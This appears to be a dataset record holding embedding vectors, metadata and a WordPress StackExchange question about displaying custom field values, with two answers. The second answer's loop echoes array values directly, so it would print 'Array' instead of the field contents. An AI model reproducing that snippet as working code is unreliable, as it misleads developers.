0.03668212890625,
0.005130767822265625,
0.0015974044799804688,
-0.01219940185546875,
0.0423583984375,
-0.015716552734375,
0.0263671875,
-0.0171051025390625,
0.0203704833984375,
0.03106689453125,
-0.00522613525390625,
-0.0287017822265625,
-0.0123138427734375,
0.02154541015625,
0.035736083984375,
0.0230712890625,
-0.0268096923828125,
0.044036865234375,
-0.0010766983032226562,
-0.00460052490234375,
0.0257720947265625,
0.0229339599609375,
0.0028705596923828125,
0.01800537109375,
0.0228271484375,
-0.00215911865234375,
-0.0377197265625,
0.039825439453125,
0.00701904296875,
-0.0033435821533203125,
0.0220489501953125,
0.07513427734375,
-0.0250396728515625,
0.09893798828125,
-0.050018310546875,
0.0272216796875,
-0.0445556640625,
-0.002811431884765625,
0.00997161865234375,
0.0300140380859375,
-0.054229736328125,
-0.0210113525390625,
-0.032806396484375,
-0.0312042236328125,
-0.00013589859008789062,
0.029327392578125,
0.043975830078125,
-0.000732421875,
-0.0240936279296875,
0.002674102783203125,
0.03887939453125,
0.01026153564453125,
0.026947021484375,
0.024627685546875,
0.07183837890625,
0.03253173828125,
-0.00957489013671875,
-0.01247406005859375,
-0.05401611328125,
0.1505126953125,
-0.053680419921875,
-0.0214996337890625,
0.0288238525390625,
0.0237579345703125,
0.07330322265625,
-0.0189056396484375,
0.033416748046875,
0.004825592041015625,
0.029541015625,
0.0093841552734375,
0.011627197265625,
-0.0140228271484375,
-0.04791259765625,
0.01497650146484375,
0.01029205322265625,
-0.01364898681640625,
-0.00452423095703125,
0.0143585205078125,
0.03253173828125,
-0.003299713134765625,
0.0161285400390625,
-0.02227783203125,
0.034912109375,
-0.01358795166015625,
0.0279083251953125,
-0.0016336441040039062,
-0.01314544677734375,
0.005176544189453125,
-0.01490020751953125,
-0.0009045600891113281,
-0.002513885498046875,
-0.005313873291015625,
0.0203399658203125,
-0.002834320068359375,
0.0355224609375,
0.0092620849609375,
0.024993896484375,
0.002689361572265625,
-0.0201873779296875,
0.0074920654296875,
0.022216796875,
-0.00649261474609375,
-0.0306396484375,
-0.0004429817199707031,
-0.0105743408203125,
0.02032470703125,
-0.01062774658203125,
0.0516357421875,
-0.0019073486328125,
0.01540374755859375,
0.061553955078125,
-0.0012025833129882812,
-0.04095458984375,
0.006000518798828125,
-0.06561279296875,
0.05487060546875,
0.04400634765625,
0.035308837890625,
0.0177154541015625,
0.01165771484375,
0.016937255859375,
0.03271484375,
-0.0015106201171875,
0.028411865234375,
-0.015716552734375,
0.061614990234375,
0.0908203125,
-0.0256805419921875,
-0.0282745361328125,
0.004302978515625,
-0.0693359375,
0.0254669189453125,
0.024627685546875,
0.02996826171875,
0.01503753662109375,
0.0013217926025390625,
-0.0005726814270019531,
0.01284027099609375,
-0.004119873046875,
-0.040496826171875,
0.0025348663330078125,
0.0111541748046875,
0.0361328125,
0.0296478271484375,
0.03839111328125,
-0.020233154296875,
0.01128387451171875,
0.010467529296875,
0.017333984375,
0.00540924072265625,
0.041259765625,
0.0145721435546875,
0.0021724700927734375,
-0.05474853515625,
0.00304412841796875,
0.02630615234375,
0.0269622802734375,
-0.0096588134765625,
0.024688720703125,
-0.040985107421875,
-0.005035400390625,
-0.044769287109375,
-0.0390625,
0.0165252685546875,
0.036376953125,
0.037078857421875,
0.018402099609375,
0.036956787109375,
0.0396728515625,
-0.0189208984375,
0.06060791015625,
0.0250091552734375,
-0.00701904296875,
0.0299224853515625,
-0.0369873046875,
0.0426025390625,
-0.03204345703125,
0.034088134765625,
0.0609130859375,
-0.016815185546875,
0.006103515625,
0.01284027099609375,
-0.00688934326171875,
0.006076812744140625,
0.04315185546875,
0.0143890380859375,
-0.00232696533203125,
-0.04791259765625,
-0.008331298828125,
0.0020503997802734375,
0.01187896728515625,
-0.04852294921875,
-0.02520751953125,
-0.0567626953125,
0.01276397705078125,
-0.04150390625,
0.0240325927734375,
0.0229644775390625,
-0.045562744140625,
0.000640869140625,
0.0025920867919921875,
-0.02490234375,
-0.01412200927734375,
0.0394287109375,
-0.006893157958984375,
-0.035980224609375,
0.038909912109375,
-0.034332275390625,
-0.0190887451171875,
-0.03204345703125,
-0.0085906982421875,
-0.03155517578125,
0.0131072998046875,
0.0180206298828125,
0.028045654296875,
0.03424072265625,
-0.0167388916015625,
0.060882568359375,
-0.0248260498046875,
-0.041290283203125,
0.018341064453125,
0.055206298828125,
-0.044769287109375,
-0.00988006591796875,
0.0076446533203125,
0.01299285888671875,
0.05780029296875,
-0.05877685546875,
0.00859832763671875,
-0.0016231536865234375,
0.00830841064453125,
-0.0096282958984375,
0.05194091796875,
0.006328582763671875,
-0.017974853515625,
0.0133056640625,
-0.04248046875,
-0.01690673828125,
0.005828857421875,
-0.030853271484375,
0.051971435546875,
0.03814697265625,
-0.038604736328125,
0.005321502685546875,
0.013092041015625,
-0.0267791748046875,
0.01137542724609375,
-0.0026149749755859375,
-0.04901123046875,
0.07855224609375,
0.0012426376342773438,
0.002178192138671875,
0.006031036376953125,
-0.0125274658203125,
-0.0341796875,
-0.0010690689086914062,
-0.031707763671875,
0.00273895263671875,
-0.01387786865234375,
0.005191802978515625,
-0.030548095703125,
0.00565338134765625,
0.0318603515625,
0.0012292861938476562,
0.040985107421875,
-0.0236358642578125,
-0.02154541015625,
-0.01788330078125,
0.0684814453125,
-0.0282135009765625,
-0.0065155029296875,
0.034942626953125,
0.0098419189453125,
-0.00762176513671875,
0.0209197998046875,
-0.060638427734375,
-0.044189453125,
0.0096893310546875,
-0.0229339599609375,
-0.0197906494140625,
-0.0094146728515625,
-0.017333984375,
0.0589599609375,
0.0025577545166015625,
-0.005462646484375,
0.017730712890625,
-0.016937255859375,
-0.021270751953125,
-0.0017642974853515625,
-0.05419921875,
-0.038116455078125,
-0.001964569091796875,
-0.004192352294921875,
-0.1263427734375,
-0.00794219970703125,
-0.07000732421875,
0.1043701171875,
0.050140380859375,
-0.0254974365234375,
-0.0297393798828125,
0.0450439453125,
-0.00409698486328125,
0.042205810546875,
-0.0267486572265625,
0.0239410400390625,
-0.00533294677734375,
-0.0340576171875,
-0.01253509521484375,
-0.0240936279296875,
-0.01458740234375,
-0.00942230224609375,
-0.0180816650390625,
-0.002353668212890625,
-0.0190277099609375,
-0.0241851806640625,
-0.00711822509765625,
-0.037078857421875,
-0.0307769775390625,
-0.0136566162109375,
-0.01043701171875,
-0.0283203125,
-0.0183868408203125,
0.004688262939453125,
0.016937255859375,
-0.01485443115234375,
0.0070343017578125,
-0.035736083984375,
0.009857177734375,
0.0040283203125,
0.07025146484375,
0.032958984375,
0.01016998291015625,
-0.01041412353515625,
-0.019134521484375,
0.0088653564453125,
0.0170440673828125,
0.016082763671875,
-0.0158233642578125,
-0.033416748046875,
0.054229736328125,
-0.01494598388671875,
0.031097412109375,
-0.02825927734375,
0.041168212890625,
0.01529693603515625,
-0.006256103515625,
0.02801513671875,
0.046478271484375,
-0.04913330078125,
0.00400543212890625,
-0.029266357421875,
0.0111083984375,
-0.0139923095703125,
0.035736083984375,
-0.0239715576171875,
0.005832672119140625,
-0.048187255859375,
-0.01398468017578125,
0.00804901123046875,
-0.027618408203125,
0.029449462890625,
0.01824951171875,
-0.004650115966796875,
-0.0066986083984375,
0.00435638427734375,
-0.0015048980712890625,
0.0199737548828125,
0.036163330078125,
-0.0079803466796875,
0.040435791015625,
0.0230712890625,
-0.00649261474609375,
-0.0181884765625,
-0.00905609130859375,
0.0240020751953125,
0.0179290771484375,
-0.049468994140625,
0.0009870529174804688,
0.004604339599609375,
0.016387939453125,
0.002704620361328125,
-0.031097412109375,
0.0180816650390625,
0.03594970703125,
-0.045166015625,
0.01009368896484375,
-0.01477813720703125,
-0.0041351318359375,
-0.054473876953125,
-0.016204833984375,
-0.0411376953125,
0.0008258819580078125,
-0.043609619140625,
0.08184814453125,
-0.034515380859375,
0.0279388427734375,
0.006317138671875,
0.01180267333984375,
-0.035400390625,
0.05126953125,
0.01235198974609375,
-0.00553131103515625,
0.00951385498046875,
0.0213623046875,
-0.0103759765625,
-0.0232391357421875,
-0.0197601318359375,
0.028167724609375,
0.019287109375,
0.016021728515625,
0.0032958984375,
-0.0023860931396484375,
-0.017333984375,
-0.02984619140625,
0.0165557861328125,
-0.006683349609375,
-0.0254058837890625,
-0.0305633544921875,
0.00522613525390625,
0.034332275390625,
0.0268707275390625,
0.0081634521484375,
-0.023040771484375,
0.025146484375,
0.00913238525390625,
-0.0272064208984375,
-0.034423828125,
0.038116455078125,
0.036865234375,
0.05755615234375,
-0.008087158203125,
-0.043670654296875,
-0.016082763671875,
0.0005254745483398438,
-0.028533935546875,
0.0023288726806640625,
0.0701904296875,
-0.0335693359375,
0.0206298828125,
-0.0220489501953125,
0.0074462890625,
-0.082763671875,
0.034515380859375,
0.01509857177734375,
0.029632568359375,
-0.00547027587890625,
-0.018890380859375,
-0.03179931640625,
-0.043121337890625,
-0.024505615234375,
-0.0147705078125,
-0.045318603515625,
0.0095672607421875,
-0.01235198974609375,
0.0257415771484375,
-0.00827789306640625,
-0.01149749755859375,
0.02899169921875,
-0.0023193359375,
-0.032257080078125,
0.01654052734375,
0.0258941650390625,
0.0152587890625,
0.0007643699645996094,
0.06634521484375,
0.03167724609375,
0.0022983551025390625,
-0.04205322265625,
-0.039306640625,
-0.006496429443359375,
-0.062103271484375,
-0.0013751983642578125,
0.0296783447265625,
-0.0139617919921875,
0.01348876953125,
-0.0028781890869140625,
0.0001983642578125,
0.072998046875,
-0.04290771484375,
-0.01201629638671875,
-0.011260986328125,
0.0251312255859375,
-0.07989501953125,
0.033111572265625,
0.017822265625,
-0.054107666015625,
0.0012722015380859375,
0.0027141571044921875,
0.00688934326171875,
0.05767822265625,
-0.0374755859375,
0.04144287109375,
0.01062774658203125,
0.00508880615234375,
0.038116455078125,
0.063232421875,
-0.0234527587890625,
0.0141754150390625,
0.034332275390625,
-0.02935791015625,
-0.0290679931640625,
0.01033782958984375,
-0.002773284912109375,
-0.0192413330078125,
-0.00572967529296875,
-0.0259246826171875,
-0.00942230224609375,
-0.0163421630859375,
-0.01904296875,
0.02459716796875,
-0.0037384033203125,
0.06011962890625,
-0.01058197021484375,
0.01068115234375,
0.024169921875,
-0.06378173828125,
-0.019256591796875,
-0.01555633544921875,
0.0081024169921875,
-0.0297393798828125,
0.04376220703125,
0.00815582275390625,
-0.0172576904296875,
0.0292205810546875,
-0.0260162353515625,
-0.01389312744140625,
-0.0162506103515625,
0.0167083740234375,
-0.002101898193359375,
0.03765869140625,
-0.034149169921875,
-0.0286407470703125,
-0.00012612342834472656,
0.030120849609375,
0.051666259765625,
-0.0430908203125,
0.002872467041015625,
0.00572967529296875,
0.0155487060546875,
-0.0355224609375,
-0.036865234375,
0.0263671875,
0.0162811279296875,
-0.00052642822265625,
0.050079345703125,
-0.0115509033203125,
0.00568389892578125,
0.03448486328125,
-0.04412841796875,
0.01512908935546875,
-0.032867431640625,
-0.011138916015625,
0.0413818359375,
-0.03582763671875,
0.0108489990234375,
0.0152587890625,
-0.0024566650390625,
0.004291534423828125,
0.0283966064453125,
0.0294189453125,
-0.0026798248291015625,
-0.016387939453125,
0.040679931640625,
-0.00171661376953125,
-0.017852783203125,
-0.032470703125,
0.005001068115234375,
-0.08038330078125,
-0.035064697265625,
-0.0210418701171875,
-0.0301055908203125,
-0.0020847320556640625,
-0.0299835205078125,
-0.06707763671875,
0.1463623046875,
-0.002124786376953125,
0.038482666015625,
0.0199432373046875,
0.043182373046875,
-0.053070068359375,
0.022857666015625,
-0.0013713836669921875,
0.01953125,
-0.024139404296875,
-0.0186309814453125,
-0.048309326171875,
-0.01323699951171875,
-0.0231170654296875,
0.05999755859375,
0.045654296875,
0.00959014892578125,
-0.0009198188781738281,
-0.027618408203125,
0.00110626220703125,
0.0188446044921875,
-0.01511383056640625,
0.005523681640625,
0.032501220703125,
-0.03216552734375,
-0.0099639892578125,
0.036529541015625,
0.0516357421875,
-0.0958251953125,
0.00521087646484375,
0.034027099609375,
-0.004825592041015625,
-0.01256561279296875,
0.032745361328125,
0.0207977294921875,
0.004924774169921875,
0.0095062255859375,
-0.00395965576171875,
-0.0567626953125,
-0.0094757080078125,
0.0156097412109375,
-0.0160064697265625,
0.004703521728515625,
-0.023651123046875,
-0.01354217529296875,
0.009979248046875,
-0.018341064453125,
0.001316070556640625,
0.0191192626953125,
0.0179901123046875,
0.0238800048828125,
-0.058685302734375,
-0.0176239013671875,
-0.0172576904296875,
-0.0168914794921875,
0.043121337890625,
-0.0094451904296875,
0.00754547119140625,
-0.057342529296875,
0.007720947265625,
0.01593017578125,
0.042510986328125,
-0.036224365234375,
-0.08355712890625,
-0.006908416748046875,
-0.008758544921875,
0.029876708984375,
0.00676727294921875,
-0.0084381103515625,
-0.00441741943359375,
0.031982421875,
0.0241241455078125,
0.006023406982421875,
-0.016632080078125,
0.0032176971435546875,
-0.003570556640625,
-0.0020809173583984375,
-0.0005626678466796875,
0.015838623046875,
-0.0220489501953125,
0.018585205078125,
-0.00302886962890625,
0.0235443115234375,
0.011962890625,
0.0447998046875,
-0.016754150390625,
-0.011138916015625,
-0.0176849365234375,
0.04571533203125,
-0.010223388671875,
0.0239715576171875,
-0.01258087158203125,
-0.0321044921875,
0.01023101806640625,
0.0265655517578125,
-0.0011091232299804688,
0.045501708984375,
0.004596710205078125,
0.022491455078125,
0.0218353271484375,
-0.0003037452697753906,
0.059783935546875,
-0.01220703125,
-0.0034923553466796875,
-0.0277252197265625,
-0.03009033203125,
-0.01200103759765625,
-0.034515380859375,
0.025299072265625,
-0.027191162109375,
0.0210723876953125,
-0.0292510986328125,
0.07257080078125,
-0.01255035400390625,
-0.0229644775390625,
0.03631591796875,
-0.0118255615234375,
0.07293701171875,
-0.01120758056640625,
-0.071044921875,
-0.01213836669921875,
0.0105743408203125,
-0.0380859375,
0.0009360313415527344,
0.030181884765625,
-0.0426025390625,
0.055572509765625,
-0.0096435546875,
-0.01239776611328125,
0.0015897750854492188,
-0.00774383544921875,
0.0279083251953125,
-0.0088043212890625,
0.00457000732421875,
-0.01165771484375,
-0.037261962890625,
-0.0247650146484375,
-0.029296875,
0.048919677734375,
0.06396484375,
0.055908203125,
-0.01233673095703125,
0.042877197265625,
-0.03179931640625,
-0.00013816356658935547,
0.0004534721374511719,
-0.0224609375,
-0.034942626953125,
0.04693603515625,
0.032440185546875,
-0.009063720703125,
-0.032684326171875,
0.031585693359375,
0.004241943359375,
-0.028350830078125,
-0.003570556640625,
-0.0008015632629394531,
0.004779815673828125,
0.0206451416015625,
0.01024627685546875,
-0.037322998046875,
-0.03271484375,
-0.043609619140625,
-0.00946807861328125,
0.01343536376953125,
-0.003917694091796875,
0.00778961181640625,
0.025604248046875,
0.021453857421875,
-0.0273590087890625,
0.005245208740234375,
-0.0220489501953125,
0.002567291259765625,
0.0225677490234375,
0.0364990234375,
-0.0117645263671875,
0.024017333984375,
-0.01384735107421875,
0.0025196075439453125,
0.01439666748046875,
0.02056884765625,
0.01165771484375,
-0.059356689453125,
0.05908203125,
-0.03192138671875,
0.01409912109375,
-0.036529541015625,
-0.0352783203125,
0.038909912109375,
0.01258087158203125,
-0.0124359130859375,
-0.07421875,
-0.036376953125,
-0.053192138671875,
0.0017452239990234375,
0.044189453125,
-0.03851318359375,
-0.022735595703125,
-0.09307861328125,
-0.061279296875,
0.0092620849609375,
0.03057861328125,
-0.06103515625,
0.0283050537109375,
-0.0018177032470703125,
-0.035736083984375,
0.0024566650390625,
-0.0119476318359375,
-0.010406494140625,
0.0004603862762451172,
-0.037689208984375,
-0.03668212890625,
-0.06207275390625,
0.0145111083984375,
-0.047882080078125,
0.041290283203125,
0.047607421875,
-0.047821044921875,
-0.00762939453125,
0.076904296875,
0.039215087890625,
0.11871337890625,
-0.01715087890625,
-0.018341064453125,
0.01006317138671875,
-0.01062774658203125,
-0.01424407958984375,
-0.035003662109375,
0.0110626220703125,
-0.06756591796875,
-0.01177978515625,
0.02960205078125,
-0.021209716796875,
-0.00971221923828125,
-0.04949951171875,
-0.09161376953125,
-0.0144500732421875,
0.01427459716796875,
-0.054443359375,
-0.01085662841796875,
0.00955963134765625,
-0.00844573974609375,
0.0138397216796875,
0.00720977783203125,
-0.035491943359375,
0.005008697509765625,
0.032196044921875,
0.0215606689453125,
0.001972198486328125,
0.030181884765625,
0.00875091552734375,
-0.0360107421875,
0.0227813720703125,
0.01091766357421875,
0.005878448486328125,
-0.0017786026000976562,
-0.02691650390625,
0.03826904296875,
0.018218994140625,
-0.0294952392578125,
-0.031982421875,
0.00704193115234375,
-0.009429931640625,
-0.0206146240234375,
-0.01297760009765625,
-0.0170135498046875,
0.0160675048828125,
0.07525634765625,
0.061065673828125,
0.0164794921875,
-0.05572509765625,
0.04132080078125,
-0.02227783203125,
-0.0697021484375,
-0.01042938232421875,
0.035247802734375,
-0.056915283203125,
-0.0006556510925292969,
0.035614013671875,
0.00370025634765625,
-0.041046142578125,
-0.0171966552734375,
-0.03106689453125,
-0.014617919921875,
0.01398468017578125,
0.007556915283203125,
0.0382080078125,
0.01171875,
0.09185791015625,
-0.06488037109375,
-0.036163330078125,
0.0192108154296875,
0.0018796920776367188,
0.0155181884765625,
-0.035308837890625,
-0.004383087158203125,
0.0518798828125,
-0.0261077880859375,
0.0092620849609375,
0.018402099609375,
-0.00904083251953125,
-0.00852203369140625,
0.01258087158203125,
-0.0180816650390625,
0.019195556640625,
0.004940032958984375,
0.036163330078125,
0.01425933837890625,
-0.009735107421875,
0.0197296142578125,
-0.00945281982421875,
-0.0114898681640625,
-0.00998687744140625,
-0.006954193115234375,
0.003200531005859375,
-0.0245819091796875,
0.00409698486328125,
0.00406646728515625,
-0.0428466796875,
0.0228271484375,
0.043243408203125,
-0.0016040802001953125,
0.01092529296875,
0.01068115234375,
-0.0031890869140625,
-0.01206207275390625,
-0.0229034423828125
] |
f1f09cb8735a15d9252df953277061a3270868f3
|
Wordpress Stackexchange
Q: How to display value of custom fields in page I have a custom post type called 'software', contained within are various custom fields such as subtitle, price, screenshots, download link, etc. I created a function to allow use of the tinyMCE edit window for some of these custom fields. I have been trying to display these fields on the page but with no success.
The method I'm using is this:
<h1><?php the_title();?></h1>
<h3><?php echo get_post_meta(get_the_ID(), 'subtitle', TRUE); ?></h3>
Here is a link to the page.
Below the <hr/> on the page is a list of all the meta created. The ONLY one of the fields which will display is 'price' for some strange reason.
Anyone have any idea what I'm missing?
A: use this code for solving your problem.
$key_name = get_post_custom_values($key = 'Key Name');
echo $key_name[0];
|
Q: How to display value of custom fields in page I have a custom post type called 'software', contained within are various custom fields such as subtitle, price, screenshots, download link, etc. I created a function to allow use of the tinyMCE edit window for some of these custom fields. I have been trying to display these fields on the page but with no success.
The method I'm using is this:
<h1><?php the_title();?></h1>
<h3><?php echo get_post_meta(get_the_ID(), 'subtitle', TRUE); ?></h3>
Here is a link to the page.
Below the <hr/> on the page is a list of all the meta created. The ONLY one of the fields which will display is 'price' for some strange reason.
Anyone have any idea what I'm missing?
A: use this code for solving your problem.
$key_name = get_post_custom_values($key = 'Key Name');
echo $key_name[0];
A: Well, you are using:
get_post_meta(get_the_ID(), 'subtitle', TRUE);
So, you are saying to Wordpress to get the meta value of the 'subtitle' field and that the returned value be in format of string. See get_post_meta() docu.
To get all meta data of a post you should use get_post_custom() function instead. For example, if you are inside the loop:
$custom = get_post_custom();
foreach($custom as $key => $value) {
echo $key.': '.$value.'<br />';
}
This will return all meta data of the post. If you want to check, for example, the "price" meta field:
if(isset($custom['price'])) {
echo 'Price: '.$custom['price'][0];
}
|
wordpress
|
{
"language": "en",
"length": 236,
"provenance": "stackexchange_00019.jsonl.gz:437056",
"question_score": "27",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114055"
}
|
[
-0.0009918212890625,
-0.00701904296875,
0.00445556640625,
0.0233154296875,
-0.01934814453125,
-0.012969970703125,
0.0256500244140625,
-0.027984619140625,
0.01003265380859375,
0.0142669677734375,
0.0086517333984375,
-0.039825439453125,
-0.041839599609375,
-0.049102783203125,
-0.031707763671875,
-0.055633544921875,
0.0543212890625,
-0.0262298583984375,
0.061248779296875,
0.026580810546875,
0.00811767578125,
0.06353759765625,
0.046966552734375,
-0.046356201171875,
0.034698486328125,
-0.057830810546875,
0.033416748046875,
-0.015960693359375,
0.0161895751953125,
-0.01139068603515625,
0.0267791748046875,
0.006702423095703125,
0.0218658447265625,
0.024627685546875,
-0.0093536376953125,
0.05133056640625,
0.059906005859375,
-0.002178192138671875,
0.020904541015625,
0.03631591796875,
0.00824737548828125,
0.007183074951171875,
0.0293121337890625,
0.0015974044799804688,
-0.00492095947265625,
-0.0300445556640625,
0.0211181640625,
-0.0194244384765625,
-0.005279541015625,
-0.013275146484375,
-0.01067352294921875,
0.01003265380859375,
0.01146697998046875,
-0.01031494140625,
-0.005321502685546875,
-0.0201568603515625,
-0.03875732421875,
-0.01593017578125,
0.01288604736328125,
0.033172607421875,
0.015045166015625,
-0.0057373046875,
0.0037994384765625,
-0.0095062255859375,
-0.00627899169921875,
-0.0017108917236328125,
-0.019287109375,
0.018341064453125,
-0.00914764404296875,
-0.0347900390625,
-0.00981903076171875,
-0.0203094482421875,
0.036163330078125,
-0.04058837890625,
0.0128631591796875,
-0.0294647216796875,
-0.00994110107421875,
-0.0364990234375,
0.00632476806640625,
-0.0251007080078125,
-0.01081085205078125,
-0.016571044921875,
-0.02642822265625,
0.0082855224609375,
-0.0099945068359375,
0.03802490234375,
-0.0107421875,
-0.0177764892578125,
0.01058197021484375,
-0.0191192626953125,
0.0008921623229980469,
-0.034088134765625,
-0.0073394775390625,
0.024810791015625,
0.004825592041015625,
-0.045989990234375,
-0.00020885467529296875,
0.034210205078125,
0.0015935897827148438,
0.01027679443359375,
-0.006618499755859375,
-0.019256591796875,
0.01180267333984375,
-0.03314208984375,
0.01136016845703125,
0.035552978515625,
-0.0086212158203125,
0.00777435302734375,
0.032623291015625,
0.0220947265625,
0.0009074211120605469,
-0.01259613037109375,
-0.026641845703125,
-0.01477813720703125,
-0.0447998046875,
0.0274810791015625,
-0.0291595458984375,
-0.03680419921875,
-0.013397216796875,
-0.00855255126953125,
0.01503753662109375,
0.022064208984375,
0.0322265625,
-0.044891357421875,
0.0068817138671875,
-0.01309967041015625,
-0.052642822265625,
-0.015899658203125,
0.01190185546875,
0.033294677734375,
-0.046173095703125,
-0.01288604736328125,
0.04193115234375,
0.034210205078125,
0.03570556640625,
-0.01776123046875,
-0.0169830322265625,
-0.021087646484375,
-0.0093841552734375,
0.01122283935546875,
-0.025665283203125,
-0.02264404296875,
0.03033447265625,
-0.03076171875,
-0.02191162109375,
-0.0006189346313476562,
0.0005345344543457031,
0.035736083984375,
-0.00537872314453125,
-0.0504150390625,
0.0270538330078125,
-0.0211334228515625,
0.003490447998046875,
0.0222320556640625,
-0.00984954833984375,
0.006435394287109375,
0.033111572265625,
-0.01045989990234375,
-0.001888275146484375,
-0.0244903564453125,
0.024169921875,
-0.018768310546875,
-0.00836944580078125,
-0.05340576171875,
-0.05145263671875,
0.0030841827392578125,
-0.051666259765625,
0.002040863037109375,
0.027313232421875,
0.0056915283203125,
0.03448486328125,
0.0017042160034179688,
0.007785797119140625,
0.029449462890625,
0.017364501953125,
0.01003265380859375,
0.0041046142578125,
0.051483154296875,
0.029327392578125,
-0.0268096923828125,
-0.019073486328125,
-0.0389404296875,
0.089111328125,
-0.031005859375,
-0.05413818359375,
0.0175323486328125,
-0.0240325927734375,
0.0229949951171875,
0.051971435546875,
-0.0018596649169921875,
0.0157318115234375,
-0.01018524169921875,
-0.0085296630859375,
0.00023567676544189453,
-0.0010738372802734375,
-0.0131683349609375,
-0.031982421875,
-0.00762939453125,
-0.0164337158203125,
0.00933074951171875,
-0.02838134765625,
0.0129547119140625,
0.0074920654296875,
0.03240966796875,
0.0196990966796875,
0.01812744140625,
-0.0019321441650390625,
0.01947021484375,
-0.042938232421875,
-0.031585693359375,
0.0299530029296875,
-0.052398681640625,
-0.002933502197265625,
0.01371002197265625,
-0.0145263671875,
0.00997161865234375,
0.007320404052734375,
0.0399169921875,
-0.002727508544921875,
-0.00035572052001953125,
0.021575927734375,
-0.05291748046875,
0.01116943359375,
0.0186767578125,
0.004955291748046875,
0.007656097412109375,
0.004222869873046875,
0.004913330078125,
0.07086181640625,
0.0042572021484375,
0.07171630859375,
-0.0258026123046875,
-0.01253509521484375,
-0.0143585205078125,
-0.0537109375,
-0.023284912109375,
-0.055389404296875,
-0.06634521484375,
0.0156707763671875,
0.074462890625,
0.0224456787109375,
0.0179901123046875,
-0.02960205078125,
-0.004360198974609375,
0.06951904296875,
0.047760009765625,
0.019134521484375,
-0.0240020751953125,
0.0364990234375,
0.07208251953125,
-0.0244903564453125,
-0.0042572021484375,
0.0150146484375,
-0.046417236328125,
0.04931640625,
0.022613525390625,
-0.0237884521484375,
0.0096282958984375,
0.03570556640625,
-0.0159454345703125,
-0.016937255859375,
-0.0102691650390625,
0.0229949951171875,
-0.0269317626953125,
0.033233642578125,
0.052154541015625,
0.051300048828125,
0.04779052734375,
-0.043853759765625,
0.034881591796875,
0.00859832763671875,
0.03436279296875,
0.004863739013671875,
-0.059295654296875,
-0.022430419921875,
-0.034027099609375,
-0.023773193359375,
0.031951904296875,
0.012908935546875,
-0.058837890625,
0.01806640625,
0.01519012451171875,
-0.049774169921875,
0.001834869384765625,
0.01160430908203125,
-0.083984375,
-0.01654052734375,
0.053009033203125,
0.03387451171875,
-0.0025272369384765625,
0.01336669921875,
0.039581298828125,
0.003292083740234375,
0.034881591796875,
-0.0213470458984375,
-0.020599365234375,
0.03399658203125,
-0.016754150390625,
0.033599853515625,
-0.023468017578125,
0.024169921875,
0.050506591796875,
-0.0196990966796875,
0.021240234375,
0.01285552978515625,
-0.01015472412109375,
-0.0010404586791992188,
0.0263519287109375,
0.016876220703125,
-0.01335906982421875,
-0.03643798828125,
-0.00691986083984375,
0.0215911865234375,
0.092041015625,
-0.0239105224609375,
-0.05859375,
-0.0095367431640625,
0.03997802734375,
-0.0970458984375,
-0.1051025390625,
0.0019683837890625,
-0.0762939453125,
-0.0150604248046875,
-0.037109375,
-0.052703857421875,
0.0214385986328125,
-0.01235198974609375,
0.006832122802734375,
0.0033321380615234375,
-0.01071929931640625,
-0.054046630859375,
-0.0301971435546875,
-0.054962158203125,
-0.0154266357421875,
-0.00600433349609375,
0.0006031990051269531,
0.0143890380859375,
0.051544189453125,
0.010986328125,
-0.04852294921875,
0.0196533203125,
-0.00844573974609375,
-0.0202178955078125,
0.02899169921875,
0.003925323486328125,
-0.0731201171875,
0.0428466796875,
-0.004566192626953125,
0.0178680419921875,
0.00640869140625,
0.0217437744140625,
-0.0254364013671875,
-0.0183563232421875,
-0.0011587142944335938,
0.00904083251953125,
-0.009918212890625,
0.01102447509765625,
0.01357269287109375,
0.022613525390625,
-0.0211029052734375,
-0.055328369140625,
-0.0163726806640625,
-0.0306854248046875,
0.01079559326171875,
0.0158843994140625,
0.0001634359359741211,
-0.0555419921875,
0.0927734375,
-0.0018129348754882812,
0.003963470458984375,
0.0256195068359375,
-0.00848388671875,
0.0113372802734375,
-0.0029582977294921875,
-0.0006351470947265625,
-0.0187835693359375,
0.0032958984375,
-0.01384735107421875,
0.058074951171875,
0.0124969482421875,
0.01367950439453125,
-0.02886962890625,
0.06134033203125,
-0.0447998046875,
-0.050567626953125,
0.0310211181640625,
-0.04815673828125,
0.036102294921875,
-0.045806884765625,
-0.01329803466796875,
-0.0179443359375,
0.08587646484375,
-0.0443115234375,
-0.0008897781372070312,
0.021270751953125,
0.015380859375,
-0.043670654296875,
-0.01873779296875,
-0.067138671875,
0.00989532470703125,
-0.10797119140625,
0.021881103515625,
-0.0145263671875,
-0.024261474609375,
-0.0238037109375,
0.03778076171875,
-0.05731201171875,
-0.050567626953125,
0.0296478271484375,
0.0158233642578125,
-0.018707275390625,
0.0072174072265625,
-0.01108551025390625,
-0.0172271728515625,
-0.01277923583984375,
0.0004906654357910156,
-0.0347900390625,
-0.0227203369140625,
0.03375244140625,
0.048858642578125,
0.0185546875,
-0.059783935546875,
0.01216888427734375,
0.0604248046875,
0.00873565673828125,
0.0111846923828125,
0.00464630126953125,
0.00844573974609375,
-0.00992584228515625,
-0.0482177734375,
-0.006023406982421875,
-0.058319091796875,
-0.020782470703125,
-0.039306640625,
-0.0201873779296875,
0.0011615753173828125,
-0.02606201171875,
0.011627197265625,
-0.0021991729736328125,
-0.0153045654296875,
0.0032672882080078125,
-0.0163421630859375,
-0.00585174560546875,
0.003936767578125,
-0.0033721923828125,
-0.0012159347534179688,
0.00489044189453125,
0.0002765655517578125,
0.0032024383544921875,
0.01322174072265625,
0.005046844482421875,
0.0175323486328125,
0.048248291015625,
0.0170135498046875,
-0.00949859619140625,
-0.06744384765625,
0.007511138916015625,
0.034759521484375,
0.0238037109375,
-0.0201568603515625,
-0.022918701171875,
-0.031829833984375,
0.04913330078125,
-0.0016202926635742188,
0.016448974609375,
-0.026458740234375,
0.051055908203125,
0.005558013916015625,
0.01154327392578125,
0.00836944580078125,
-0.00826263427734375,
0.0137481689453125,
-0.03570556640625,
-0.0301361083984375,
-0.0035152435302734375,
0.018646240234375,
0.03143310546875,
-0.024688720703125,
0.03753662109375,
-0.01375579833984375,
-0.003269195556640625,
-0.011444091796875,
0.050201416015625,
0.0099639892578125,
0.0229644775390625,
0.0108489990234375,
-0.01134490966796875,
0.00643157958984375,
0.006137847900390625,
0.013580322265625,
-0.0256500244140625,
0.00827789306640625,
0.0146484375,
0.0121307373046875,
0.002063751220703125,
0.00948333740234375,
-0.0089263916015625,
0.017578125,
-0.01910400390625,
-0.05450439453125,
-0.018707275390625,
-0.0152740478515625,
0.0178680419921875,
